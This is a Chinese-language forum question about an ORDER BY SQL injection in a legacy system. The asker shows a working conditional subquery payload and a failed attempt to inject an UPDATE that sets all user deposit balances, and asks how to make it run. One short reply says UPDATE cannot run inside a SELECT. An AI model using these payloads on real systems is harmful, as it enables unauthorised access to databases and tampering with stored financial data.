搜尋

首頁  >  問答  >  主體

mysql - sql報錯原因?

發現一個正在維護的舊系統的基於orderBy的sql注入漏洞,準備驗證一下,

我先執行這個sql注入,是可以的

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
select deposit
from sysuser_user_deposit
)end)=1 ASC LIMIT 20 OFFSET 0

但是當我執行這個帶有update語句的sql時報錯了:

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
update
sysuser_user_deposit
set
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0

報錯

<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update<br>
sysuser_user_deposit<br>
set<br>
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0' at line 9</code>

我該如何讓他執行update?

黄舟黄舟2752 天前869

全部回覆(1)我來回復

  • 淡淡烟草味

    淡淡烟草味2017-05-18 10:49:26

    主體是select的時候,裡面是不能update的,否則執行不了的,
    mybatis這種注入我試過,